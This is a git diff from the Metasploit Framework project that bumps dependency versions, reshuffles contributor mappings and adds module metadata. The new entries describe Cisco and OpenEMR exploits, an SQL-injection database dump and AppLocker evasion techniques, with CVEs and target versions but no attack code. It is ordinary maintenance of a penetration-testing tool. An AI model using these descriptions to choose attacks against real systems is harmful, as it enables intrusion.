diff --git a/.mailmap b/.mailmap index 7521f0532b..1b9af7d2a4 100644 --- a/.mailmap +++ b/.mailmap @@ -1,48 +1,29 @@ acammack-r7 acammack-r7 acammack-r7 -asoto-r7 bcook-r7 bcook-r7 -bpatterson-r7 <“bpatterson@rapid7.com”> -bpatterson-r7 bturner-r7 bwatters-r7 cdoughty-r7 dheiland-r7 -dmaloney-r7 -dmaloney-r7 -dmohanty-r7 +dwelch-r7 ecarey-r7 -egypt # aka egypt -egypt jbarnett-r7 jbarnett-r7 -jhart-r7 jinq102030 jinq102030 jmartin-r7 -kgray-r7 -khayes-r7 -lsanchez-r7 -lsanchez-r7 -lsanchez-r7 -lsanchez-r7 -lsanchez-r7 lsato-r7 lvarela-r7 <“leonardo_varela@rapid7.com”> mkienow-r7 pbarry-r7 pdeardorff-r7 pdeardorff-r7 -sdavis-r7 -sdavis-r7 -sdavis-r7 sgonzalez-r7 sgonzalez-r7 shuckins-r7 space-r7 -tatanus tdoan-r7 todb-r7 todb-r7 @@ -53,7 +34,6 @@ wvu-r7 wvu-r7 wvu-r7 wwalker-r7 -wwebb-r7 # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at @@ -62,9 +42,12 @@ wwebb-r7 # periodically. If you're on this list and would like to not be, just # let todb@metasploit.com know. +asoto-r7 bannedit David Rude bcoles bcoles bokojan parzamendi-r7 +bpatterson-r7 +bpatterson-r7 brandonprry brandonprry Brandon Perry brandonprry Brandon Perry @@ -83,8 +66,13 @@ corelanc0d3r Peter Van Eeckhoutte (corelanc0d3r) Christian Catalan darkoperator Carlos Perez DanielRTeixeira Daniel Teixeira +dmaloney-r7 +dmaloney-r7 +dmohanty-r7 efraintorres efraintorres efraintorres et <> +egypt # aka egypt +egypt espreto fab fab <> # fab at revhosts.net (Fabrice MOURRON) farias-r7 @@ -110,6 +98,7 @@ jcran jduck jduck jgor jgor +jhart-r7 joevennix Joe Vennix joevennix joevennix @@ -119,9 +108,15 @@ juanvazquez jvazquez-r7 kernelsmith Joshua Smith kernelsmith Joshua Smith kernelsmith kernelsmith +kgray-r7 kost Vlatko Kosturjak kris kris <> KronicDeth Luke Imhoff +lsanchez-r7 +lsanchez-r7 +lsanchez-r7 +lsanchez-r7 +lsanchez-r7 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 m-1-k-3 @@ -151,12 +146,16 @@ rwhitcroft schierlm Michael Schierl # Aka mihi scriptjunkie Matt Weeks scriptjunkie scriptjunkie +sdavis-r7 +sdavis-r7 +sdavis-r7 skape Matt Miller spoonm Spoon M stufus Stuart Morgan stufus Stuart swtornio Steve Tornio Tasos Laskos Tasos Laskos +tatanus techpeace Matt Buck techpeace Matt Buck timwr @@ -164,6 +163,7 @@ TomSellers Tom Sellers trevrosen Trevor Rosen trevrosen Trevor Rosen TrustedSec trustedsec +wwebb-r7 void-in void_in void-in void-in void-in diff --git a/Dockerfile b/Dockerfile index a447399e9c..6945a1639d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby) RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap) -COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle -COPY --chown=root:metasploit . $APP_HOME/ +COPY --from=builder /usr/local/bundle /usr/local/bundle +RUN chown -R root:metasploit /usr/local/bundle +COPY . $APP_HOME/ +RUN chown -R root:metasploit $APP_HOME/ +RUN chmod 664 $APP_HOME/Gemfile.lock RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml WORKDIR $APP_HOME diff --git a/Gemfile.lock b/Gemfile.lock index f5b9d15ed2..9e154b0c1b 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (5.0.43) + metasploit-framework (5.0.50) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -24,7 +24,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.3.70) + metasploit-payloads (= 1.3.77) metasploit_data_models (= 3.0.10) metasploit_payloads-mettle (= 0.5.16) mqtt @@ -59,7 +59,7 @@ PATH rex-random_identifier rex-registry rex-rop_builder - rex-socket (= 0.1.17) + rex-socket rex-sslscan rex-struct2 rex-text @@ -108,29 +108,29 @@ GEM minitest (~> 5.1) thread_safe (~> 0.3, >= 0.3.4) tzinfo (~> 1.1) - addressable (2.6.0) - public_suffix (>= 2.0.2, < 4.0) + addressable (2.7.0) + public_suffix (>= 2.0.2, < 5.0) afm (0.2.2) arel (6.0.4) arel-helpers (2.10.0) activerecord (>= 3.1.0, < 7) aws-eventstream (1.0.3) - aws-partitions (1.204.0) - aws-sdk-core (3.64.0) + aws-partitions (1.215.0) + aws-sdk-core (3.68.0) aws-eventstream (~> 1.0, >= 1.0.2) aws-partitions (~> 1.0) aws-sigv4 (~> 1.1) jmespath (~> 1.0) - aws-sdk-ec2 (1.105.0) + aws-sdk-ec2 (1.109.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) - aws-sdk-iam (1.29.0) + aws-sdk-iam (1.30.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) aws-sdk-kms (1.24.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.46.0) + aws-sdk-s3 (1.48.0) aws-sdk-core (~> 3, >= 3.61.1) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.1) @@ -167,7 +167,7 @@ GEM factory_bot_rails (5.0.2) factory_bot (~> 5.0.2) railties (>= 4.2.0) - faker (2.1.2) + faker (2.2.1) i18n (>= 0.8) faraday (0.15.4) multipart-post (>= 1.2, < 3) @@ -203,7 +203,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.3.70) + metasploit-payloads (1.3.77) metasploit_data_models (3.0.10) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -250,7 +250,7 @@ GEM pry (0.12.2) coderay (~> 1.1.0) method_source (~> 0.9.0) - public_suffix (3.1.1) + public_suffix (4.0.1) rack (1.6.11) rack-protection (1.5.5) rack @@ -310,14 +310,14 @@ GEM metasm rex-core rex-text - rex-socket (0.1.17) + rex-socket (0.1.20) rex-core rex-sslscan (0.1.5) rex-core rex-socket rex-text rex-struct2 (0.1.2) - rex-text (0.2.22) + rex-text (0.2.24) rex-zip (0.1.3) rex-text rkelly-remix (0.0.7) @@ -351,11 +351,11 @@ GEM rubyntlm windows_error rubyntlm (0.6.2) - rubyzip (1.2.3) + rubyzip (1.2.4) sawyer (0.8.2) addressable (>= 2.3.5) faraday (> 0.8, < 2.0) - simplecov (0.17.0) + simplecov (0.17.1) docile (~> 1.1) json (>= 1.8, < 3) simplecov-html (~> 0.10.0) @@ -378,7 +378,7 @@ GEM ttfunk (1.5.1) tzinfo (1.2.5) thread_safe (~> 0.1) - tzinfo-data (1.2019.2) + tzinfo-data (1.2019.3) tzinfo (>= 1.0.0) warden (1.2.7) rack (>= 1.0) diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 1eadb1e968..e2b4e6dbac 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -5,17 +5,17 @@ actionview, 4.2.11.1, MIT activemodel, 4.2.11.1, MIT activerecord, 4.2.11.1, MIT activesupport, 4.2.11.1, MIT -addressable, 2.6.0, "Apache 2.0" +addressable, 2.7.0, "Apache 2.0" afm, 0.2.2, MIT arel, 6.0.4, MIT arel-helpers, 2.10.0, MIT aws-eventstream, 1.0.3, "Apache 2.0" -aws-partitions, 1.204.0, "Apache 2.0" -aws-sdk-core, 3.64.0, "Apache 2.0" -aws-sdk-ec2, 1.105.0, "Apache 2.0" -aws-sdk-iam, 1.29.0, "Apache 2.0" +aws-partitions, 1.215.0, "Apache 2.0" +aws-sdk-core, 3.68.0, "Apache 2.0" +aws-sdk-ec2, 1.109.0, "Apache 2.0" +aws-sdk-iam, 1.30.0, "Apache 2.0" aws-sdk-kms, 1.24.0, "Apache 2.0" -aws-sdk-s3, 1.46.0, "Apache 2.0" +aws-sdk-s3, 1.48.0, "Apache 2.0" aws-sigv4, 1.1.0, "Apache 2.0" backports, 3.15.0, MIT bcrypt, 3.1.12, MIT @@ -39,7 +39,7 @@ erubis, 2.7.0, MIT eventmachine, 1.2.7, "ruby, GPL-2.0" factory_bot, 5.0.2, MIT factory_bot_rails, 5.0.2, MIT -faker, 2.1.2, MIT +faker, 2.2.1, MIT faraday, 0.15.4, MIT filesize, 0.2.0, MIT fivemat, 1.3.7, MIT @@ -53,9 +53,9 @@ loofah, 2.2.3, MIT metasm, 1.0.4, LGPL-2.1 metasploit-concern, 2.0.5, "New BSD" metasploit-credential, 3.0.3, "New BSD" -metasploit-framework, 5.0.43, "New BSD" +metasploit-framework, 5.0.50, "New BSD" metasploit-model, 2.0.4, "New BSD" -metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD" +metasploit-payloads, 1.3.77, "3-clause (or ""modified"") BSD" metasploit_data_models, 3.0.10, "New BSD" metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD" method_source, 0.9.2, MIT @@ -80,7 +80,7 @@ pg, 0.21.0, "New BSD" pg_array_parser, 0.0.9, unknown postgres_ext, 3.0.1, MIT pry, 0.12.2, MIT -public_suffix, 3.1.1, MIT +public_suffix, 4.0.1, MIT rack, 1.6.11, MIT rack-protection, 1.5.5, MIT rack-test, 0.6.3, MIT @@ -105,10 +105,10 @@ rex-powershell, 0.1.82, "New BSD" rex-random_identifier, 0.1.4, "New BSD" rex-registry, 0.1.3, "New BSD" rex-rop_builder, 0.1.3, "New BSD" -rex-socket, 0.1.17, "New BSD" +rex-socket, 0.1.20, "New BSD" rex-sslscan, 0.1.5, "New BSD" rex-struct2, 0.1.2, "New BSD" -rex-text, 0.2.22, "New BSD" +rex-text, 0.2.24, "New BSD" rex-zip, 0.1.3, "New BSD" rkelly-remix, 0.0.7, MIT rspec, 3.8.0, MIT @@ -122,9 +122,9 @@ ruby-macho, 2.2.0, MIT ruby-rc4, 0.1.5, MIT ruby_smb, 1.1.0, "New BSD" rubyntlm, 0.6.2, MIT -rubyzip, 1.2.3, "Simplified BSD" +rubyzip, 1.2.4, "Simplified BSD" sawyer, 0.8.2, MIT -simplecov, 0.17.0, MIT +simplecov, 0.17.1, MIT simplecov-html, 0.10.2, MIT sinatra, 1.4.8, MIT sqlite3, 1.3.13, "New BSD" @@ -137,7 +137,7 @@ tilt, 2.0.9, MIT timecop, 0.9.1, MIT ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0" tzinfo, 1.2.5, MIT -tzinfo-data, 1.2019.2, MIT +tzinfo-data, 1.2019.3, MIT warden, 1.2.7, MIT windows_error, 0.1.2, BSD xdr, 2.0.0, "Apache 2.0" diff --git a/README.md b/README.md index 849f6107cd..199fac3640 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/) +Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/) == The Metasploit Framework is released under a BSD-style license. See COPYING for more details. diff --git a/config/application.rb b/config/application.rb index 4cbd4c94af..603050a1ed 100644 --- a/config/application.rb +++ b/config/application.rb @@ -1,3 +1,4 @@ +require File.expand_path('../rails_bigdecimal_fix', __FILE__) require 'rails' require File.expand_path('../boot', __FILE__) diff --git a/config/boot.rb b/config/boot.rb index a9a3bfda34..dc15c7a2a9 100644 --- a/config/boot.rb +++ b/config/boot.rb @@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [ msfenv_real_pathname = Pathname.new(__FILE__).realpath root = msfenv_real_pathname.parent.parent +require File.expand_path('../rails_bigdecimal_fix', __FILE__) + unless ENV['BUNDLE_GEMFILE'] require 'pathname' @@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE'] end end -# Remove bigdecimal warning - start -# https://github.com/ruby/bigdecimal/pull/115 -# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266 -# TODO: remove when upgrading from rails 4.x -require 'bigdecimal' - -def BigDecimal.new(*args, **kwargs) - return BigDecimal(*args) if kwargs.empty? - BigDecimal(*args, **kwargs) -end -# Remove bigdecimal warning - end - begin require 'bundler/setup' rescue LoadError => e diff --git a/config/rails_bigdecimal_fix.rb b/config/rails_bigdecimal_fix.rb new file mode 100644 index 0000000000..fbe0465fd7 --- /dev/null +++ b/config/rails_bigdecimal_fix.rb @@ -0,0 +1,11 @@ +# Remove bigdecimal warning - start +# https://github.com/ruby/bigdecimal/pull/115 +# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266 +# TODO: remove when upgrading from rails 4.x +require 'bigdecimal' + +def BigDecimal.new(*args, **kwargs) + return BigDecimal(*args) if kwargs.empty? + BigDecimal(*args, **kwargs) +end +# Remove bigdecimal warning - end diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index f2240cc606..05f1560de5 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -483,6 +483,57 @@ }, "needs_cleanup": false }, + "auxiliary_admin/cisco/cisco_dcnm_download": { + "name": "Cisco Data Center Network Manager Unauthenticated File Download", + "fullname": "auxiliary/admin/cisco/cisco_dcnm_download", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2019-06-26", + "type": "auxiliary", + "author": [ + "Pedro Ribeiro " + ], + "description": "DCNM exposes a servlet to download files on /fm/downloadServlet.\n An authenticated user can abuse this servlet to download arbitrary files as root by specifying\n the full path of the file.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).", + "references": [ + "CVE-2019-1619", + "CVE-2019-1621", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb", + "URL-https://seclists.org/fulldisclosure/2019/Jul/7" + ], + "platform": "", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2019-08-29 12:15:20 +0000", + "path": "/modules/auxiliary/admin/cisco/cisco_dcnm_download.rb", + "is_install_path": true, + "ref_name": "admin/cisco/cisco_dcnm_download", + "check": false, + "post_auth": true, + "default_credential": true, + "notes": { + }, + "needs_cleanup": false + }, "auxiliary_admin/cisco/cisco_secure_acs_bypass": { "name": "Cisco Secure ACS Unauthorized Password Change", "fullname": "auxiliary/admin/cisco/cisco_secure_acs_bypass", @@ -18352,7 +18403,7 @@ ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-01 18:51:13 +0000", "path": "/modules/auxiliary/parser/unattend.rb", "is_install_path": true, "ref_name": "parser/unattend", @@ -25546,6 +25597,7 @@ "description": "This module queries the JBoss status servlet to collect sensitive\n information, including URL paths, GET parameters and client IP addresses.\n This module has been tested against JBoss 4.0, 4.2.2 and 4.2.3.", "references": [ "CVE-2008-3273", + "CVE-2010-1429", "URL-https://seclists.org/fulldisclosure/2011/Sep/139", "URL-https://www.owasp.org/images/a/a9/OWASP3011_Luca.pdf", "URL-http://www.slideshare.net/chrisgates/lares-fromlowtopwned" @@ -25569,7 +25621,7 @@ "https" ], "targets": null, - "mod_time": "2018-09-15 18:54:45 +0000", + "mod_time": "2019-09-11 14:05:21 +0000", "path": "/modules/auxiliary/scanner/http/jboss_status.rb", "is_install_path": true, "ref_name": "scanner/http/jboss_status", @@ -25595,7 +25647,10 @@ ], "description": "This module scans a JBoss instance for a few vulnerabilities.", "references": [ + "CVE-2008-3273", + "CVE-2010-1429", "CVE-2010-0738", + "CVE-2010-1428", "CVE-2017-12149" ], "platform": "", @@ -25617,7 +25672,7 @@ "https" ], "targets": null, - "mod_time": "2019-02-13 16:10:32 +0000", + "mod_time": "2019-09-11 14:05:21 +0000", "path": "/modules/auxiliary/scanner/http/jboss_vulnscan.rb", "is_install_path": true, "ref_name": "scanner/http/jboss_vulnscan", @@ -38592,7 +38647,8 @@ "EsMnemon ", "Arnaud SOULLIE ", "Alexandrine TORRENTS ", - "Mathieu CHEVALIER " + "Mathieu CHEVALIER ", + "AZSG " ], "description": "This module allows reading and writing data to a PLC using the Modbus protocol.\n This module is based on the 'modiconstop.rb' Basecamp module from DigitalBond,\n as well as the mbtget perl script.", "references": [ @@ -38608,7 +38664,7 @@ ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2019-09-07 23:54:43 +0000", "path": "/modules/auxiliary/scanner/scada/modbusclient.rb", "is_install_path": true, "ref_name": "scanner/scada/modbusclient", @@ -45249,6 +45305,53 @@ }, "needs_cleanup": false }, + "auxiliary_sqli/openemr/openemr_sqli_dump": { + "name": "OpenEMR 5.0.1 Patch 6 SQLi Dump", + "fullname": "auxiliary/sqli/openemr/openemr_sqli_dump", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2019-05-17", + "type": "auxiliary", + "author": [ + "Will Porter " + ], + "description": "This module exploits a SQLi vulnerability found in\n OpenEMR version 5.0.1 Patch 6 and lower. The\n vulnerability allows the contents of the entire\n database (with exception of log and task tables) to be\n extracted.\n This module saves each table as a `.csv` file in your\n loot directory and has been tested with\n OpenEMR 5.0.1 (3).", + "references": [ + "CVE-2018-17179", + "URL-https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2019-09-11 15:56:46 +0000", + "path": "/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb", + "is_install_path": true, + "ref_name": "sqli/openemr/openemr_sqli_dump", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "auxiliary_sqli/oracle/dbms_cdc_ipublish": { "name": "Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE", "fullname": "auxiliary/sqli/oracle/dbms_cdc_ipublish", @@ -47932,6 +48035,114 @@ }, "needs_cleanup": false }, + "evasion_windows/applocker_evasion_presentationhost": { + "name": "Applocker Evasion - Windows Presentation Foundation Host", + "fullname": "evasion/windows/applocker_evasion_presentationhost", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "evasion", + "author": [ + "Nick Tyrer <@NickTyrer>", + "Casey Smith" + ], + "description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binary\n PresentationHost.exe to execute user supplied code.", + "references": [ + + ], + "platform": "Windows", + "arch": "x86", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": [ + "Microsoft Windows" + ], + "mod_time": "2019-08-03 10:41:13 +0000", + "path": "/modules/evasion/windows/applocker_evasion_presentationhost.rb", + "is_install_path": true, + "ref_name": "windows/applocker_evasion_presentationhost", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, + "evasion_windows/applocker_evasion_regasm_regsvcs": { + "name": "Applocker Evasion - Microsoft .NET Assembly Registration Utility", + "fullname": "evasion/windows/applocker_evasion_regasm_regsvcs", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "evasion", + "author": [ + "Nick Tyrer <@NickTyrer>", + "Casey Smith" + ], + "description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n RegAsm.exe or RegSvcs.exe to execute user supplied code.", + "references": [ + "URL-https://attack.mitre.org/techniques/T1121/" + ], + "platform": "Windows", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": [ + "Microsoft Windows" + ], + "mod_time": "2019-08-08 18:36:36 +0000", + "path": "/modules/evasion/windows/applocker_evasion_regasm_regsvcs.rb", + "is_install_path": true, + "ref_name": "windows/applocker_evasion_regasm_regsvcs", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, + "evasion_windows/applocker_evasion_workflow_compiler": { + "name": "Applocker Evasion - Microsoft Workflow Compiler", + "fullname": "evasion/windows/applocker_evasion_workflow_compiler", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "evasion", + "author": [ + "Nick Tyrer <@NickTyrer>", + "Matt Graeber" + ], + "description": "This module will assist you in evading Microsoft\n Windows Applocker and Software Restriction Policies.\n This technique utilises the Microsoft signed binaries\n Microsoft.Workflow.Compiler.exe to execute user supplied code.", + "references": [ + "URL-https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb" + ], + "platform": "Windows", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": [ + "Microsoft Windows" + ], + "mod_time": "2019-08-08 18:48:10 +0000", + "path": "/modules/evasion/windows/applocker_evasion_workflow_compiler.rb", + "is_install_path": true, + "ref_name": "windows/applocker_evasion_workflow_compiler", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": false + }, "evasion_windows/windows_defender_exe": { "name": "Microsoft Windows Defender Evasive Executable", "fullname": "evasion/windows/windows_defender_exe", @@ -50649,63 +50860,6 @@ }, "needs_cleanup": true }, - "exploit_linux/http/cisco_rv130_rmi_rce": { - "name": "Cisco RV130W Routers Management Interface Remote Command Execution", - "fullname": "exploit/linux/http/cisco_rv130_rmi_rce", - "aliases": [ - - ], - "rank": 400, - "disclosure_date": "2019-02-27", - "type": "exploit", - "author": [ - "Yu Zhang", - "Haoliang Lu", - "T. Shiomitsu", - "Quentin Kaiser " - ], - "description": "A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router\n could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.\n\n The vulnerability is due to improper validation of user-supplied data in the web-based management interface.\n An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.\n\n A successful exploit could allow the attacker to execute arbitrary code on the underlying operating\n system of the affected device as a high-privilege user.\n\n RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.\n\n Note: successful exploitation may not result in a session, and as such,\n on_new_session will never repair the HTTP server, leading to a denial-of-service condition.", - "references": [ - "CVE-2019-1663", - "BID-107185", - "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex", - "URL-https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/" - ], - "platform": "Linux", - "arch": "armle", - "rport": 443, - "autofilter_ports": [ - 80, - 8080, - 443, - 8000, - 8888, - 8880, - 8008, - 3000, - 8443 - ], - "autofilter_services": [ - "http", - "https" - ], - "targets": [ - "Cisco RV130/RV130W < 1.0.3.45" - ], - "mod_time": "2019-08-02 09:48:53 +0000", - "path": "/modules/exploits/linux/http/cisco_rv130_rmi_rce.rb", - "is_install_path": true, - "ref_name": "linux/http/cisco_rv130_rmi_rce", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - "Stability": [ - "crash-service-down" - ] - }, - "needs_cleanup": true - }, "exploit_linux/http/cisco_rv32x_rce": { "name": "Cisco RV320 and RV325 Unauthenticated Remote Code Execution", "fullname": "exploit/linux/http/cisco_rv32x_rce", @@ -50762,6 +50916,59 @@ }, "needs_cleanup": null }, + "exploit_linux/http/cisco_ucs_rce": { + "name": "Cisco UCS Director Unauthenticated Remote Code Execution", + "fullname": "exploit/linux/http/cisco_ucs_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2019-08-21", + "type": "exploit", + "author": [ + "Pedro Ribeiro " + ], + "description": "The Cisco UCS Director virtual appliance contains two flaws that can be combined\n and abused by an attacker to achieve remote code execution as root.\n The first one, CVE-2019-1937, is an authentication bypass, that allows the\n attacker to authenticate as an administrator.\n The second one, CVE-2019-1936, is a command injection in a password change form,\n that allows the attacker to inject commands that will execute as root.\n This module combines both vulnerabilities to achieve the unauthenticated command\n injection as root.\n It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.\n Note that Cisco also mentions in their advisory that their IMC Supervisor and\n UCS Director Express are also affected by these vulnerabilities, but this module\n was not tested with those products.", + "references": [ + "CVE-2019-1937", + "CVE-2019-1936", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj", + "URL-FULL_DISC", + "URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Cisco UCS Director < 6.7.2.0" + ], + "mod_time": "2019-08-29 19:49:37 +0000", + "path": "/modules/exploits/linux/http/cisco_ucs_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/cisco_ucs_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "needs_cleanup": null + }, "exploit_linux/http/cpi_tararchive_upload": { "name": "Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability", "fullname": "exploit/linux/http/cpi_tararchive_upload", @@ -50872,6 +51079,74 @@ }, "needs_cleanup": null }, + "exploit_linux/http/cve_2019_1663_cisco_rmi_rce": { + "name": "Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution", + "fullname": "exploit/linux/http/cve_2019_1663_cisco_rmi_rce", + "aliases": [ + "exploit/linux/http/cisco_rv130_rmi_rce" + ], + "rank": 400, + "disclosure_date": "2019-02-27", + "type": "exploit", + "author": [ + "Yu Zhang", + "Haoliang Lu", + "T. Shiomitsu", + "Quentin Kaiser " + ], + "description": "A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,\n Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router\n could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.\n\n The vulnerability is due to improper validation of user-supplied data in the web-based management interface.\n An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.\n\n A successful exploit could allow the attacker to execute arbitrary code on the underlying operating\n system of the affected device as a high-privilege user.\n\n RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.\n RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.\n RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.\n\n Note: successful exploitation may not result in a session, and as such,\n on_new_session will never repair the HTTP server, leading to a denial-of-service condition.", + "references": [ + "CVE-2019-1663", + "BID-107185", + "URL-https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex", + "URL-https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/" + ], + "platform": "Linux", + "arch": "armle, mipsle", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Cisco RV110W 1.1.0.9", + "Cisco RV110W 1.2.0.9", + "Cisco RV110W 1.2.0.10", + "Cisco RV110W 1.2.1.4", + "Cisco RV110W 1.2.1.7", + "Cisco RV130/RV130W < 1.0.3.45", + "Cisco RV215W 1.1.0.5", + "Cisco RV215W 1.1.0.6", + "Cisco RV215W 1.2.0.14", + "Cisco RV215W 1.2.0.15", + "Cisco RV215W 1.3.0.7", + "Cisco RV215W 1.3.0.8" + ], + "mod_time": "2019-08-30 12:03:43 +0000", + "path": "/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb", + "is_install_path": true, + "ref_name": "linux/http/cve_2019_1663_cisco_rmi_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-service-down" + ] + }, + "needs_cleanup": null + }, "exploit_linux/http/dcos_marathon": { "name": "DC/OS Marathon UI Docker Exploit", "fullname": 